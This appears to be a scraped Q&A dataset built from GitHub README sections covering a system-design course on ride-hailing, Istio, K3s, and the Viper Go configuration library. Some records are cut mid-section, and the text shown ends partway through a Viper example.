{"id": "gh_6405376a957a", "question": "How to: Start or End the Trip", "question_body": "About karanpratapsingh/system-design", "answer": "Using this API, a driver will be able to start and end the trip.\n\n```tsx\nstartTrip(driverID: UUID, tripID: UUID): boolean\nendTrip(driverID: UUID, tripID: UUID): boolean\n```\n\n**Parameters**\n\nDriver ID (`UUID`): ID of the driver.\n\nTrip ID (`UUID`): ID of the requested trip.\n\n**Returns**\n\nResult (`boolean`): Represents whether the operation was successful or not.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599362"}
{"id": "gh_673c84753c91", "question": "How to: Rate the Trip", "question_body": "About karanpratapsingh/system-design", "answer": "This API will enable customers to rate the trip.\n\n```tsx\nrateTrip(customerID: UUID, tripID: UUID, rating: int, feedback?: string): boolean\n```\n\n**Parameters**\n\nCustomer ID (`UUID`): ID of the customer.\n\nTrip ID (`UUID`): ID of the completed trip.\n\nRating (`int`): Rating of the trip.\n\nFeedback (`string`): Feedback about the trip by the customer _(optional)_.\n\n**Returns**\n\nResult (`boolean`): Represents whether the operation was successful or not.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599371"}
{"id": "gh_2f7785545963", "question": "How to: How is the service expected to work?", "question_body": "About karanpratapsingh/system-design", "answer": "Here's how our service is expected to work:\n\n![uber-working](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-V/uber/uber-working.png)\n\n1. Customer requests a ride by specifying the source, destination, cab type, payment method, etc.\n2. Ride service registers this request, finds nearby drivers, and calculates the estimated time of arrival (ETA).\n3. The request is then broadcasted to the nearby drivers for them to accept or deny.\n4. If the driver accepts, the customer is notified about the live location of the driver with the estimated time of arrival (ETA) while they wait for pickup.\n5. The customer is picked up and the driver can start the trip.\n6. Once the destination is reached, the driver will mark the ride as complete and collect payment.\n7. After the payment is complete, the customer can leave a rating and feedback for the trip if they like.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599386"}
{"id": "gh_a06faf8f091c", "question": "How to: Location Tracking", "question_body": "About karanpratapsingh/system-design", "answer": "How do we efficiently send and receive live location data from the client (customers and drivers) to our backend? We have two different options:\n\n**Pull model**\n\nThe client can periodically send an HTTP request to servers to report its current location and receive ETA and pricing information. This can be achieved via something like [Long polling](https://karanpratapsingh.com/courses/system-design/long-polling-websockets-server-sent-events#long-polling).\n\n**Push model**\n\nThe client opens a long-lived connection with the server and once new data is available it will be pushed to the client. We can use [WebSockets](https://karanpratapsingh.com/courses/system-design/long-polling-websockets-server-sent-events#websockets) or [Server-Sent Events (SSE)](https://karanpratapsingh.com/courses/system-design/long-polling-websockets-server-sent-events#server-sent-events-sse) for this.\n\nThe pull model approach is not scalable as it will create unnecessary request overhead on our servers and most of the time the response will be empty, thus wasting our resources. To minimize latency, using the push model with [WebSockets](https://karanpratapsingh.com/courses/system-design/long-polling-websockets-server-sent-events#websockets) is a better choice because then we can push data to the client once it's available without any delay, given that the connection is open with the client. Also, WebSockets provide full-duplex communication, unlike [Server-Sent Events (SSE)](https://karanpratapsingh.com/courses/system-design/long-polling-websockets-server-sent-events#server-sent-events-sse) which are only unidirectional.\n\nAdditionally, the client application should have some sort of background job mechanism to ping GPS location while the application is in the background.\n\n_Note: Learn more about [Long polling, WebSockets, Server-Sent Events (SSE)](https://karanpratapsingh.com/courses/system-design/long-polling-websockets-server-sent-events)._", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599393"}
{"id": "gh_f8d4e89bdc0c", "question": "How to: Ride Matching", "question_body": "About karanpratapsingh/system-design", "answer": "We need a way to efficiently store and query nearby drivers. Let's explore different solutions we can incorporate into our design.\n\n**SQL**\n\nWe already have access to the latitude and longitude of our customers, and with databases like [PostgreSQL](https://www.postgresql.org) and [MySQL](https://www.mysql.com) we can perform a query to find nearby driver locations given a latitude and longitude (X, Y) within a radius (R).\n\n```sql\nSELECT * FROM locations WHERE lat BETWEEN X-R AND X+R AND long BETWEEN Y-R AND Y+R\n```\n\nHowever, this is not scalable, and performing this query on large datasets will be quite slow.\n\n**Geohashing**\n\n[Geohashing](https://karanpratapsingh.com/courses/system-design/geohashing-and-quadtrees#geohashing) is a [geocoding](https://en.wikipedia.org/wiki/Address_geocoding) method used to encode geographic coordinates such as latitude and longitude into short alphanumeric strings. It was created by [Gustavo Niemeyer](https://twitter.com/gniemeyer) in 2008.\n\nGeohash is a hierarchical spatial index that uses Base-32 alphabet encoding, the first character in a geohash identifies the initial location as one of the 32 cells. This cell will also contain 32 cells. This means that to represent a point, the world is recursively divided into smaller and smaller cells with each additional bit until the desired precision is attained. The precision factor also determines the size of the cell.\n\n![geohashing](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-IV/geohashing-and-quadtrees/geohashing.png)\n\nFor example, San Francisco with coordinates `37.7564, -122.4016` can be represented in geohash as `9q8yy9mf`.\n\nNow, using the customer's geohash we can determine the nearest available driver by simply comparing it with the driver's geohash. For better performance, we will index and store the geohash of the driver in memory for faster retrieval.\n\n**Quadtrees**\n\nA [Quadtree](https://karanpratapsingh.com/courses/system-design/geohashing-and-quadtrees#quadtrees) is a tree data structure in which each internal node has exactly four children. They are often used to partition a two-dimensional space by recursively subdividing it into four quadrants or regions. Each child or leaf node stores spatial information. Quadtrees are the two-dimensional analog of [Octrees](https://en.wikipedia.org/wiki/Octree) which are used to partition three-dimensional space.\n\n![quadtree](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-IV/geohashing-and-quadtrees/quadtree.png)\n\nQuadtrees enable us to search points within a two-dimensional range efficiently, where those points are defined as latitude/longitude coordinates or as cartesian (x, y) coordinates.\n\nWe can save further computation by only subdividing a node after a certain threshold.\n\n![quadtree-subdivision](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-IV/geohashing-and-quadtrees/quadtree-subdivision.png)\n\n[Quadtree](https://karanpratapsingh.com/courses/system-design/geohashing-and-quadtrees#quadtrees) seems perfect for our use case, we can update the Quadtree every time we receive a new location update from the driver. To reduce the load on the quadtree servers we can use an in-memory datastore such as [Redis](https://redis.io) to cache the latest updates. And with the application of mapping algorithms such as the [Hilbert curve](https://en.wikipedia.org/wiki/Hilbert_curve), we can perform efficient range queries to find nearby drivers for the customer.\n\n**What about race conditions?**\n\nRace conditions can easily occur when a large number of customers will be requesting rides simultaneously. To avoid this, we can wrap our ride matching logic in a [Mutex](\n) to avoid any race conditions. Furthermore, every action should be transactional in nature.\n\n_For more details, refer to [Transactions](https://karanpratapsingh.com/courses/system-design/transactions) and [Distributed Transactions](https://karanpratapsingh.com/courses/system-design/distributed-transactions)._\n\n**How to find the best drivers nearby?**\n\nOnce we have a list of nearby drivers from the Quadtree servers, we can perform some sort of ranking based on parameters like average ratings, relevance, past customer feedback, etc. This will allow us to broadcast notifications to the best available drivers first.\n\n**Dealing with high demand**\n\nIn cases of high demand, we can use the concept of Surge Pricing. Surge pricing is a dynamic pricing method where prices are temporarily increased as a reaction to increased demand and mostly limited supply. This surge price can be added to the base price of the trip.\n\n_For more details, learn how [surge pricing works](https://www.uber.com/us/en/drive/driver-app/how-surge-works) with Uber._", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599405"}
{"id": "gh_14a6f9ddfe42", "question": "How to: Next Steps", "question_body": "About karanpratapsingh/system-design", "answer": "Congratulations, you've finished the course!\n\nNow that you know the fundamentals of System Design, here are some additional resources:\n\n- [Distributed Systems](https://www.youtube.com/watch?v=UEAMfLPZZhE&list=PLeKd45zvjcDFUEv_ohr_HdUFe97RItdiB) (by Dr. Martin Kleppmann)\n- [System Design Interview: An Insider's Guide](https://www.amazon.in/System-Design-Interview-insiders-Second/dp/B08CMF2CQF)\n- [Microservices](https://microservices.io) (by Chris Richardson)\n- [Serverless computing](https://en.wikipedia.org/wiki/Serverless_computing)\n- [Kubernetes](https://kubernetes.io)\n\nIt is also recommended to actively follow engineering blogs of companies putting what we learned in the course into practice at scale:\n\n- [Microsoft Engineering](https://engineering.microsoft.com)\n- [Google Research Blog](http://googleresearch.blogspot.com)\n- [Netflix Tech Blog](http://techblog.netflix.com)\n- [AWS Blog](https://aws.amazon.com/blogs/aws)\n- [Facebook Engineering](https://www.facebook.com/Engineering)\n- [Uber Engineering Blog](http://eng.uber.com)\n- [Airbnb Engineering](http://nerds.airbnb.com)\n- [GitHub Engineering Blog](https://github.blog/category/engineering)\n- [Intel Software Blog](https://software.intel.com/en-us/blogs)\n- [LinkedIn Engineering](http://engineering.linkedin.com/blog)\n- [Paypal Developer Blog](https://medium.com/paypal-engineering)\n- [Twitter Engineering](https://blog.twitter.com/engineering)\n\nLast but not least, volunteer for new projects at your company, and learn from senior engineers and architects to further improve your system design skills.\n\nI hope this course was a great learning experience. I would love to hear feedback from you.\n\nWishing you all the best for further learning!", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599440"}
{"id": "gh_9e4aa5837858", "question": "How to: References", "question_body": "About karanpratapsingh/system-design", "answer": "Here are the resources that were referenced while creating this course.\n\n- [Cloudflare learning center](https://www.cloudflare.com/learning)\n- [IBM Blogs](https://www.ibm.com/blogs)\n- [Fastly Blogs](https://www.fastly.com/blog)\n- [NS1 Blogs](https://ns1.com/blog)\n- [Grokking the System Design Interview](https://www.designgurus.io/course/grokking-the-system-design-interview)\n- [Grokking Microservices Design Patterns](https://www.designgurus.io/course/grokking-microservices-design-patterns)\n- [System Design Primer](https://github.com/donnemartin/system-design-primer)\n- [AWS Blogs](https://aws.amazon.com/blogs)\n- [Architecture Patterns by Microsoft](https://learn.microsoft.com/en-us/azure/architecture/patterns)\n- [Martin Fowler](https://martinfowler.com)\n- [PagerDuty resources](https://www.pagerduty.com/resources)\n- [VMWare Blogs](https://blogs.vmware.com/learning)\n\n_All the diagrams were made using [Excalidraw](https://excalidraw.com) and are available [here](https://github.com/karanpratapsingh/system-design/tree/main/diagrams)._", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.599446"}
{"id": "gh_5dcfaf3dd5db", "question": "How to: Introduction", "question_body": "About istio/istio", "answer": "[Istio](https://istio.io/latest/docs/concepts/what-is-istio/) is an open platform for providing a uniform way to [integrate\nmicroservices](https://istio.io/latest/docs/examples/microservices-istio/), manage [traffic flow](https://istio.io/latest/docs/concepts/traffic-management/) across microservices, enforce policies\nand aggregate telemetry data. Istio's control plane provides an abstraction\nlayer over the underlying cluster management platform, such as Kubernetes.\n\nIstio is composed of these components:\n\n- **Envoy** - Sidecar proxies per microservice to handle ingress/egress traffic\n   between services in the cluster and from a service to external\n   services. The proxies form a _secure microservice mesh_ providing a rich\n   set of functions like discovery, rich layer-7 routing, circuit breakers,\n   policy enforcement and telemetry recording/reporting\n   functions.\n\n  > Note: The service mesh is not an overlay network. It\n  > simplifies and enhances how microservices in an application talk to each\n  > other over the network provided by the underlying platform.\n\n* **Ztunnel** - A lightweight data plane proxy written in Rust,\n    used in Ambient mesh mode to provide secure connectivity and observability for workloads without sidecar proxies.\n\n- **Istiod** - The Istio control plane. It provides service discovery, configuration and certificate management.", "tags": ["istio"], "source": "github_gists", "category": "istio", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 37831, "answer_score": 10, "has_code": true, "url": "https://github.com/istio/istio", "collected_at": "2026-01-16T23:30:48.525583"}
{"id": "gh_c43f58d16429", "question": "How to: Repositories", "question_body": "About istio/istio", "answer": "The Istio project is divided across a few GitHub repositories:\n\n- [istio/api](https://github.com/istio/api). This repository defines\ncomponent-level APIs and common configuration formats for the Istio platform.\n\n- [istio/community](https://github.com/istio/community). This repository contains\ninformation on the Istio community, including the various documents that govern\nthe Istio open source project.\n\n- [istio/istio](README.md). This is the main code repository. It hosts Istio's\ncore components, install artifacts, and sample programs. It includes:\n\n    - [istioctl](istioctl/). This directory contains code for the\n[_istioctl_](https://istio.io/latest/docs/reference/commands/istioctl/) command line utility.\n\n    - [pilot](pilot/). This directory\ncontains platform-specific code to populate the\n[abstract service model](https://istio.io/docs/concepts/traffic-management/#pilot), dynamically reconfigure the proxies\nwhen the application topology changes, as well as translate\n[routing rules](https://istio.io/latest/docs/reference/config/networking/) into proxy specific configuration.\n\n    - [security](security/). This directory contains [security](https://istio.io/latest/docs/concepts/security/) related code.\n\n- [istio/proxy](https://github.com/istio/proxy). The Istio proxy contains\nextensions to the [Envoy proxy](https://github.com/envoyproxy/envoy) (in the form of\nEnvoy filters) that support authentication, authorization, and telemetry collection.\n\n- [istio/ztunnel](https://github.com/istio/ztunnel). The repository contains the Rust implementation of the ztunnel\ncomponent of Ambient mesh.\n\n- [istio/client-go](https://github.com/istio/client-go). This repository defines\n  auto-generated Kubernetes clients for interacting with Istio resources programmatically.\n\n> [!NOTE]\n> Only the `istio/api` and `istio/client-go` repositories expose stable interfaces intended for direct usage as libraries.", "tags": ["istio"], "source": "github_gists", "category": "istio", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 37831, "answer_score": 10, "has_code": true, "url": "https://github.com/istio/istio", "collected_at": "2026-01-16T23:30:48.525602"}
{"id": "gh_e8b591786c8b", "question": "How to: Issue management", "question_body": "About istio/istio", "answer": "We use GitHub to track all of our bugs and feature requests. Each issue we track has a variety of metadata:\n\n- **Epic**. An epic represents a feature area for Istio as a whole. Epics are fairly broad in scope and are basically product-level things.\nEach issue is ultimately part of an epic.\n\n- **Milestone**. Each issue is assigned a milestone. This is 0.1, 0.2, ..., or 'Nebulous Future'. The milestone indicates when we\nthink the issue should get addressed.\n\n- **Priority**. Each issue has a priority which is represented by the column in the [Prioritization](https://github.com/orgs/istio/projects/6) project. Priority can be one of\nP0, P1, P2, or >P2. The priority indicates how important it is to address the issue within the milestone. P0 says that the\nmilestone cannot be considered achieved if the issue isn't resolved.\n\n---\nIstio is a\nCloud Native Computing Foundation\nproject.", "tags": ["istio"], "source": "github_gists", "category": "istio", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 37831, "answer_score": 10, "has_code": true, "url": "https://github.com/istio/istio", "collected_at": "2026-01-16T23:30:48.525612"}
{"id": "gh_3d796be597b6", "question": "How to: /var/lib/rancher/k3s/server/node-token on your server", "question_body": "About k3s-io/k3s", "answer": "sudo k3s agent --server https://myserver:6443 --token ${NODE_TOKEN}\n```\n\nContributing\n------------\n\nPlease check out our [contributing guide](CONTRIBUTING.md) if you're interested in contributing to K3s.\n\nSecurity\n--------\n\nSecurity issues in K3s can be reported by sending an email to [security@k3s.io](mailto:security@k3s.io).\nPlease do not file issues about security issues.", "tags": ["k3s-io"], "source": "github_gists", "category": "k3s-io", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 31905, "answer_score": 10, "has_code": true, "url": "https://github.com/k3s-io/k3s", "collected_at": "2026-01-16T23:30:51.624976"}
{"id": "gh_7f5b306fa9ad", "question": "How to: Why use Viper?", "question_body": "About spf13/viper", "answer": "Viper is a complete configuration solution for Go applications including\n[12-Factor apps](https://12factor.net/#the_twelve_factors). It is designed to\nwork within any application, and can handle all types of configuration needs\nand formats. It supports:\n\n* setting defaults\n* setting explicit values\n* reading config files\n* dynamic discovery of config files across multiple locations\n* reading from environment variables\n* reading from remote systems (e.g. Etcd or Consul)\n* reading from command line flags\n* reading from buffers\n* live watching and updating configuration\n* aliasing configuration keys for easy refactoring\n\nViper can be thought of as a registry for all of your applications'\nconfiguration needs.", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 29846, "answer_score": 10, "has_code": false, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856803"}
{"id": "gh_3202c8891087", "question": "How to: Putting Values in Viper", "question_body": "About spf13/viper", "answer": "Viper can read from multiple configuration sources and merges them together\ninto one set of configuration keys and values.\n\nViper uses the following precedence for merging:\n\n * explicit call to `Set`\n * flags\n * environment variables\n * config files\n * external key/value stores\n * defaults\n\n> **NOTE** Viper configuration keys are case insensitive.", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 29846, "answer_score": 10, "has_code": false, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856816"}
{"id": "gh_1bc91a55652a", "question": "How to: Reading Config Files", "question_body": "About spf13/viper", "answer": "Viper requires minimal configuration to load config files. Viper currently supports:\n\n* JSON\n* TOML\n* YAML\n* INI\n* envfile\n* Java Propeties\n\nA single Viper instance only supports a single configuration file, but multiple\npaths may be searched for one.\n\nHere is an example of how to use Viper to search for and read a configuration\nfile. At least one path should be provided where a configuration file is\nexpected.\n\n```go\n// Name of the config file without an extension (Viper will intuit the type\n// from an extension on the actual file)\nviper.SetConfigName(\"config\")\n\n// Add search paths to find the file\nviper.AddConfigPath(\"/etc/appname/\")\nviper.AddConfigPath(\"$HOME/.appname\")\nviper.AddConfigPath(\".\")\n\n// Find and read the config file\nerr := viper.ReadInConfig()\n\n// Handle errors\nif err != nil {\n\tpanic(fmt.Errorf(\"fatal error config file: %w\", err))\n}\n```\n\nYou can handle the specific case where no config file is found.\n\n```go\nvar fileLookupError viper.FileLookupError\nif err := viper.ReadInConfig(); err != nil {\n    if errors.As(err, &fileLookupError) {\n        // Indicates an explicitly set config file is not found (such as with\n        // using `viper.SetConfigFile`) or that no config file was found in\n        // any search path (such as when using `viper.AddConfigPath`)\n    } else {\n        // Config file was found but another error was produced\n    }\n}\n\n// Config file found and successfully parsed\n```\n\n> **NOTE (since 1.6)** You can also have a file without an extension and\n> specify the format programmatically, which is useful for files that naturally\n> have no extension (e.g., `.bashrc`).", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 29846, "answer_score": 10, "has_code": true, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856827"}
{"id": "gh_fcf0dbd465fa", "question": "How to: Writing Config Files", "question_body": "About spf13/viper", "answer": "At times you may want to store all configuration modifications made during run\ntime.\n\n```go\n// Writes current config to the path set by `AddConfigPath` and `SetConfigName`\nviper.WriteConfig()\nviper.SafeWriteConfig() // Like the above, but will error if the config file exists\n\n// Writes current config to a specific place\nviper.WriteConfigAs(\"/path/to/my/.config\")\n\n// Will error since it has already been written\nviper.SafeWriteConfigAs(\"/path/to/my/.config\")\n\nviper.SafeWriteConfigAs(\"/path/to/my/.other_config\")\n```\n\nAs a rule of the thumb, methods prefixed with `Safe` won't overwrite any\nexisting file, while other methods will.", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 29846, "answer_score": 10, "has_code": true, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856834"}
{"id": "gh_f36c4c671257", "question": "How to: Watching and Re-reading Config Files", "question_body": "About spf13/viper", "answer": "Gone are the days of needing to restart a server to have a config take\neffect--Viper powered applications can read an update to a config file while\nrunning and not miss a beat.\n\nIt's also possible to provide a function for Viper to run each time a change\noccurs.\n\n```go\n// All config paths must be defined prior to calling `WatchConfig()`\nviper.AddConfigPath(\"$HOME/.appname\")\n\nviper.OnConfigChange(func(e fsnotify.Event) {\n\tfmt.Println(\"Config file changed:\", e.Name)\n})\n\nviper.WatchConfig()\n```", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 29846, "answer_score": 10, "has_code": true, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856840"}
{"id": "gh_3f9823473258", "question": "How to: Reading Config from `io.Reader`", "question_body": "About spf13/viper", "answer": "Viper predefines many configuration sources but you can also implement your own\nrequired configuration source.\n\n```go\nviper.SetConfigType(\"yaml\")\n\nvar yamlExample = []byte(`\nhacker: true\nhobbies:\n- skateboarding\n- snowboarding\n- go\nname: steve\n`)\n\nviper.ReadConfig(bytes.NewBuffer(yamlExample))\n\nviper.Get(\"name\") // \"steve\"\n```", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 29846, "answer_score": 10, "has_code": true, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856847"}
{"id": "gh_1939448968ed", "question": "How to: Setting Defaults", "question_body": "About spf13/viper", "answer": "A good configuration system will support default values, which are used if a\nkey hasn't been set in some other way.\n\nExamples:\n\n```go\nviper.SetDefault(\"ContentDir\", \"content\")\nviper.SetDefault(\"LayoutDir\", \"layouts\")\nviper.SetDefault(\"Taxonomies\", map[string]string{\"tag\": \"tags\", \"category\": \"categories\"})\n```", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 29846, "answer_score": 10, "has_code": true, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856852"}
{"id": "gh_d9f2470ec8dc", "question": "How to: Setting Overrides", "question_body": "About spf13/viper", "answer": "Viper allows explict setting of configuration, such as from your own\napplication logic.\n\n```go\nviper.Set(\"verbose\", true)\nviper.Set(\"host.port\", 5899) // Set an embedded key\n```", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 29846, "answer_score": 10, "has_code": true, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856857"}
{"id": "gh_15038f78617f", "question": "How to: Registering and Using Aliases", "question_body": "About spf13/viper", "answer": "Aliases permit a single value to be referenced by multiple keys\n\n```go\nviper.RegisterAlias(\"loud\", \"Verbose\")\n\nviper.Set(\"verbose\", true) // Same result as next line\nviper.Set(\"loud\", true)    // Same result as prior line\n\nviper.GetBool(\"loud\")    // true\nviper.GetBool(\"verbose\") // true\n```", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 29846, "answer_score": 10, "has_code": true, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856863"}
{"id": "gh_64c11c101e97", "question": "How to: Working with Environment Variables", "question_body": "About spf13/viper", "answer": "Viper has full support for environment variables.\n\n> **NOTE** Unlike other configuration sources, environment variables are case\n> sensitive.\n\n```go\n// Tells Viper to use this prefix when reading environment variables\nviper.SetEnvPrefix(\"spf\")\n\n// Viper will look for \"SPF_ID\", automatically uppercasing the prefix and key\nviper.BindEnv(\"id\")\n\n// Alternatively, we can search for any environment variable prefixed and load\n// them in\nviper.AutomaticEnv()\n\nos.Setenv(\"SPF_ID\", \"13\")\n\nid := viper.Get(\"id\") // 13\n```\n\n* By default, empty environment variables are considered unset and will fall back to\n  the next configuration source, unless `AllowEmptyEnv` is used.\n* Viper does not \"cache\" environment variables--the value will be read each\n  time it is accessed.\n* `SetEnvKeyReplacer` and `EnvKeyReplacer` allow you to rewrite environment\n  variable keys, which is useful to merge SCREAMING_SNAKE_CASE environment\n  variables with kebab-cased configuration values from other sources.", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 29846, "answer_score": 10, "has_code": true, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856870"}
{"id": "gh_eccb3b2dc8f2", "question": "How to: Working with Flags", "question_body": "About spf13/viper", "answer": "Viper has the ability to bind to flags. Specifically, Viper supports\n[pflag](https://github.com/spf13/pflag/) as used in the\n[Cobra](https://github.com/spf13/cobra) library.\n\nLike environment variables, the value is not set when the binding method is\ncalled, but when it is accessed.\n\nFor individual flags, the `BindPFlag` method provides this functionality.\n\n```go\nserverCmd.Flags().Int(\"port\", 1138, \"Port to run Application server on\")\n\nviper.BindPFlag(\"port\", serverCmd.Flags().Lookup(\"port\"))\n```\n\nYou can also bind an existing set of pflags.\n\n```go\npflag.Int(\"flagname\", 1234, \"help message for flagname\")\npflag.Parse()\n\nviper.BindPFlags(pflag.CommandLine)\n\ni := viper.GetInt(\"flagname\") // Retrieve values from viper instead of pflag\n```\n\nThe standard library [flag](https://golang.org/pkg/flag/) package is not\ndirectly supported, but may be parsed through pflag.\n\n```go\npackage main\n\nimport (\n\t\"flag\"\n\n\t\"github.com/spf13/pflag\"\n)\n\nfunc main() {\n\t// Using standard library \"flag\" package\n\tflag.Int(\"flagname\", 1234, \"help message for flagname\")\n\n    // Pass standard library flags to pflag\n\tpflag.CommandLine.AddGoFlagSet(flag.CommandLine)\n\tpflag.Parse()\n\n    // Viper takes over\n\tviper.BindPFlags(pflag.CommandLine)\n}\n```\n\nUse of pflag may be avoided entirely by implementing the `FlagValue` and\n`FlagValueSet` interfaces.\n\n```go\n// Implementing FlagValue\n\ntype myFlag struct {}\nfunc (f myFlag) HasChanged() bool { return false }\nfunc (f myFlag) Name() string { return \"my-flag-name\" }\nfunc (f myFlag) ValueString() string { return \"my-flag-value\" }\nfunc (f myFlag) ValueType() string { return \"string\" }\n\nviper.BindFlagValue(\"my-flag-name\", myFlag{})\n\n// Implementing FlagValueSet\n\ntype myFlagSet struct {\n\tflags []myFlag\n}\nfunc (f myFlagSet) VisitAll(fn func(FlagValue)) {\n\tfor _, flag := range flags {\n\t\tfn(flag)\n\t}\n}\n\nfSet := myFlagSet{\n\tflags: []myFlag{myFlag{}, myFlag{}},\n}\nviper.BindFlagValues(\"my-flags\", fSet)\n```", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 29846, "answer_score": 10, "has_code": true, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856881"}
{"id": "gh_9a924d6d1760", "question": "How to: Remote Key/Value Store Support", "question_body": "About spf13/viper", "answer": "To enable remote support in Viper, do a blank import of the `viper/remote`\npackage.\n\n```go\nimport _ \"github.com/spf13/viper/remote\"\n```\n\nViper supports the following remote key/value stores. Examples for each are\nprovided below.\n\n* Etcd and Etcd3\n* Consul\n* Firestore\n* NATS\n\nViper will read a config string retrieved from a path in a key/value store.\n\nViper supports multiple hosts separated by `;`. For example:\n`http://127.0.0.1:4001;http://127.0.0.1:4002`.\n\n#### Encryption\n\nViper uses [crypt](https://github.com/sagikazarmark/crypt) to retrieve\nconfiguration from the key/value store, which means that you can store your\nconfiguration values encrypted and have them automatically decrypted if you\nhave the correct GPG keyring. Encryption is optional.\n\nCrypt has a command-line helper that you can use to put configurations in your\nkey/value store.\n\n```bash\n$ go get github.com/sagikazarmark/crypt/bin/crypt\n$ crypt set -plaintext /config/hugo.json /Users/hugo/settings/config.json\n$ crypt get -plaintext /config/hugo.json\n```\n\nSee the Crypt documentation for examples of how to set encrypted values, or\nhow to use Consul.", "tags": ["spf13"], "source": "github_gists", "category": "spf13", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 29846, "answer_score": 10, "has_code": true, "url": "https://github.com/spf13/viper", "collected_at": "2026-01-16T23:30:52.856890"}
{"id": "gh_ab9cb78e16ae", "question": "How to: Remote Key/Value Store Examples (Unencrypted)", "question_body": "About spf13/viper", "answer": "#### etcd\n\n```go\nviper.AddRemoteProvider(\"etcd\", \"http://127.0.0.1:4001\",\"/config/hugo.json\")\nviper.SetConfigType(\"json\") // because there is no file extension in a stream of bytes, supported extensions are \"json\", \"toml\", \"yaml\", \"yml\", \"properties\", \"props\", \"prop\", \"env\", \"dotenv\"\nerr := viper.ReadRemoteConfig()\n```\n\n#### etcd3\n\n```go\nviper.AddRemoteProvider(\"etcd3\", \"http://127.0.0.1:4001\",\"/config/hugo.json\")\nviper.SetConfigType(\"json\") // because there is no file extension in a stream of bytes, supported extensions are \"json\", \"toml\", \"yaml\", \"yml\", \"properties\", \"props\", \"prop\", \"env\", \"dotenv\"\nerr := viper.ReadRemoteConfig()\n```\n\n#### Consul\n\nGiven a Consul key `MY_CONSUL_KEY` with the value:\n\n```json\n{\n    \"port\": 8080,\n    \"hostname\": \"myhostname.com\"\n}\n```\n\n```go\nviper.AddRemoteProvider(\"consul\", \"localhost:8500\", \"MY_CONSUL_KEY\")\nviper.SetConfigType(\"json\") // Need to explicitly set this to json\nerr := viper.ReadRemoteConfig()\n\nfmt.Println(viper.Get(\"port\")) // 8080\n```\n\n#### Firestore\n\n```go\nviper.AddRemoteProvider(\"firestore\", \"google-cloud-project-id\", \"collection/document\")\nviper.SetConfigType(\"json\") // Config's format: \"json\", \"toml\", \"yaml\", \"yml\"\nerr := viper.ReadRemoteConfig()\n```\n\nOf course, you're allowed to use `SecureRemoteProvider` also.\n\n#### 